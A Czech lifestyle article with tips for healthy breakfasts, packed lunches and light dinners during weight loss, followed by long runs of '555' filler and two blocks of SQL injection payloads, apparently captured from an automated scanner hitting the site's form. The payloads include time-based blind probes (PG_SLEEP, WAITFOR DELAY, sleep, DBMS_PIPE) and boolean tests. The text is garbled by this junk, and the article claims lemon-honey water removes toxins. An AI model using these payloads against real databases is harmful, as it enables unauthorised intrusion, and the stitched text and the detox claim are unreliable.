V předchozích dvou dílech seriálu o hubnutí jsme se seznámili nejen s tím, jak správně sportovat a odpočívat, ale také zásady tvorby správného jídelníčku na hubnutí. Kde ale brát inspiraci, jaká jídla připravovat, abyste se stravovali lehce, zdravě i chutně a zároveň nejedli pořád to samé? V tomto článku vám dáme spoustu tipů!
Každý den bychom měli sníst pět nebo šest jídel. Základem je první jídlo dne, tedy snídaně, která vám v ideálním případě dodá energii na celé dopoledne. Oběd často odbýváme, protože velká část z nás přes den pracuje a na plnohodnotný oběd prostě není čas nebo příležitost. Ale i oběd v krabičce může být výživný a chutný, a nemusí to být jen těstovinový salát. Večeře by naopak neměla být nijak obrovská, rozhodně ale nesmí chybět. O všech těchto třech denních chodech vám řekneme více.
Přes den si můžeme dopřát malé zdravé svačinky a samozřejmě zapomínat nesmíme ani na pitný režim. O nich se dočteme v příštím, posledním dílu našeho seriálu.
Snídaně
-
Snídani nikdy nevynechávejte. Pokud máte na spěch, snězte aspoň malou porci nebo si snídani dejte cestou do práce, na vlak nebo autobus.
-
Ještě před snídaní vypijte sklenici vody s citronovou šťávou (vymačkanou z opravdového citronu, nikoliv z plastové lahvičky) a medem. Tento nápoj zbaví vaše tělo toxinů a nastartuje váš metabolismus.
-
Pokud vám bývá po ránu špatně a nemáte na snídani chuť, zkuste si místo rohlíku se salámem umixovat smoothie. Pro spoustu lidí je přijatelnější než klasická snídaně, navíc vám dá energii na celé dopoledne a ještě pomůže splnit pravidlo pěti porcí ovoce a zeleniny denně.
-
Smoothie si také můžete ráno připravit a v lahvi si ho donést do práce, kde ho můžete popíjet celé dopoledne, je to rozhodně zdravější než káva.
-
Nebojte se vajec k snídani, pokud na ně máte chuť, dejte si je, nejlépe uvařená natvrdo nebo naměkko. Bílkoviny v nich obsažené vás nabijí energií.
-
Pokud jste líní vstát dostatečně brzo, abyste si stihli uvařit ovesnou kaši, zkuste tu, co se připraví sama. Musíte ale začít už večer. Do uzavíratelné skleničky nasypte ovesné (nebo jiné) vločky, přilijte mléko (může být i rostlinné), přidejte nějaké ovoce, ořechy nebo semínka a oslaďte medem či jiným zdravějším sladidlem, než je cukr. Promíchejte a uložte do lednice, kde na vás bude ráno čekat lahodná a výživná kaše.
-
Jestli jste zvyklí ráno pít kávu, zkuste ji vyměnit za čaj. Pokud si ji nedokážete odpustit, alespoň ji neslaďte a nepřilévejte do ní mléko.
Oběd
-
Obědváte v závodní jídelně? Raději si noste obědy z domova, připravené v krabičce.
-
Jestli máte v práci mikrovlnku, máte vyhráno, můžete si dopřát teplé, i když ohřívané jídlo. Kdo tuto možnost nemá, zbývá mu zabalit do krabičky zeleninový nebo těstovinový salát, sendvič nebo pečivo s pomazánkou.
-
Dobrým obědem do práce je polévka, samozřejmě pokud ji máte jak ohřát. Výživné a zdravé jsou především zeleninové krémy (hráškový, dýňový, květákový, z červené řepy…). Když máte pocit, že na vás něco leze, zvolte silný vývar.
-
Najděte v dosahu svého pracoviště restauraci, kde vaří zdravá jídla, a občas tam zajděte. Dejte si třeba grilované kuřecí maso s oblohou, přílohy (především ty smažené) se snažte omezit.
-
Váš oběd, ať už v práci, v restauraci či doma, by měl obsahovat bílkoviny (maso, vejce, sýr), zeleninu i zdravé tuky (ořechy, avokádo).
-
Zeleninový salát obohaťte o ořechy a semínka a pokapejte ho kvalitním zastudena lisovaným olejem. Klasikou je olivový, vyzkoušet můžete i dýňový, avokádový, hroznový a další.
-
Oběd jezte v klidu, každé sousto pořádně rozžvýkejte, usnadníte tak svému tělu jeho zpracování.
-
Nepřejídejte se. I když ještě nemáte prázdný talíř, nepokračujte v jídle, pokud už jste dostatečně najedení.
-
Při stravování v jídelně si nechte nandat menší porci, kopec jídla na talíři by vás nutil sníst víc, než potřebujete. Pokud vám porce nebude stačit, jednoduše si dojděte přidat.
-
O víkendu oběd uvařte sami nebo zajděte k příbuzným či přátelům. Důležité je, abyste jedli domácí stravu, nikoliv polotovary nebo fast foodové výrobky.
Večeře
-
Večeře neodbývejte. Mohou být teplé nebo studené, vždycky je ale připravte, nekupujte polotovary.
-
Večeře by měla obsahovat hlavně zeleninu, dále pak netučné bílkoviny (např. sýr cottage, tofu, tuňák nebo libové maso) a složené sacharidy v podobě celozrnného pečiva, knäckebrotu, těstovin či rýže (nejlépe natural).
-
Nejezte moc pozdě večer. Když víte, že se nestihnete vrátit domů včas, abyste stihli uvařit večeři, vezměte si s sebou např. pečivo se zdravou pomazánkou. To nechte i doma dětem, aby nehladověly ani nevečeřely sušenky.
-
Optimální čas pro večeři jsou 3 až 4 hodiny před ulehnutím do postele.
-
K večeři se nehodí těžká a smažená jídla, příliš vhodné nejsou ani sladké pokrmy.
-
Když dostanete hlad nebo chuť a jste už po večeři, můžete si dát tvaroh, kousek sýra nebo zeleniny.
-
Pokud víte, že budete ještě nějakou dobu vzhůru, a nejste si jisti, jestli nakonec nezhltnete něco nezdravého, vyčistěte si zuby. Někomu to pomáhá překonat nutkání dát si něco na zub, a to buď kvůli „pastové pachuti“ v ústech, nebo prostě proto, že by si musel zuby čistit ještě jednou.
-
Večer již nepijte kávu, mohli byste potom mít problémy s usínáním.
-
Před spaním pijte méně, abyste v noci nemuseli běhat na toaletu.
-
Jestli si chcete zajistit příjemný spánek, uvařte si bylinkový čaj a celý večer ho popíjejte. Ke zklidnění přispívá např. heřmánek, meduňka nebo kozlík.
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@WyfTT
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
uzK7KkMx')) OR 19=(SELECT 19 FROM PG_SLEEP(15))--
IpPY0PIC') OR 252=(SELECT 252 FROM PG_SLEEP(15))--
hO3RU6SN' OR 148=(SELECT 148 FROM PG_SLEEP(15))--
-1)) OR 953=(SELECT 953 FROM PG_SLEEP(15))--
-5) OR 471=(SELECT 471 FROM PG_SLEEP(15))--
-5 OR 592=(SELECT 592 FROM PG_SLEEP(15))--
GdyxkQoc'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+482-482) --
-1" OR 3*2<(0+5+482-482) --
-1" OR 3+482-482-1=0+0+0+1 --
-1" OR 2+482-482-1=0+0+0+1 --
-1' OR 3*2>(0+5+303-303) or 'E9LmkEXd'='
-1' OR 3*2<(0+5+303-303) or 'E9LmkEXd'='
-1' OR 3+303-303-1=0+0+0+1 or 'E9LmkEXd'='
-1' OR 2+303-303-1=0+0+0+1 or 'E9LmkEXd'='
-1' OR 3*2>(0+5+623-623) --
-1' OR 3*2<(0+5+623-623) --
-1' OR 3+623-623-1=0+0+0+1 --
-1' OR 2+623-623-1=0+0+0+1 --
-1 OR 3*2>(0+5+477-477)
-1 OR 3*2<(0+5+477-477)
-1 OR 3+477-477-1=0+0+0+1
-1 OR 2+477-477-1=0+0+0+1
-1 OR 3*2>(0+5+976-976) --
-1 OR 3*2<(0+5+976-976) --
-1 OR 3+976-976-1=0+0+0+1 --
-1 OR 2+976-976-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@tvn4c
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
VYRakjIC')) OR 529=(SELECT 529 FROM PG_SLEEP(15))--
myL44X15') OR 892=(SELECT 892 FROM PG_SLEEP(15))--
IizdHzyQ' OR 526=(SELECT 526 FROM PG_SLEEP(15))--
-1)) OR 114=(SELECT 114 FROM PG_SLEEP(15))--
-5) OR 645=(SELECT 645 FROM PG_SLEEP(15))--
-5 OR 200=(SELECT 200 FROM PG_SLEEP(15))--
KU4SCUaq'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+762-762) --
-1" OR 3*2<(0+5+762-762) --
-1" OR 3+762-762-1=0+0+0+1 --
-1" OR 2+762-762-1=0+0+0+1 --
-1' OR 3*2>(0+5+450-450) or 'zc2FEomO'='
-1' OR 3*2<(0+5+450-450) or 'zc2FEomO'='
-1' OR 3+450-450-1=0+0+0+1 or 'zc2FEomO'='
-1' OR 2+450-450-1=0+0+0+1 or 'zc2FEomO'='
-1' OR 3*2>(0+5+646-646) --
-1' OR 3*2<(0+5+646-646) --
-1' OR 3+646-646-1=0+0+0+1 --
-1' OR 2+646-646-1=0+0+0+1 --
-1 OR 3*2>(0+5+799-799)
-1 OR 3*2<(0+5+799-799)
-1 OR 3+799-799-1=0+0+0+1
-1 OR 2+799-799-1=0+0+0+1
-1 OR 3*2>(0+5+21-21) --
-1 OR 3*2<(0+5+21-21) --
-1 OR 3+21-21-1=0+0+0+1 --
-1 OR 2+21-21-1=0+0+0+1 --
555
555
555
555
555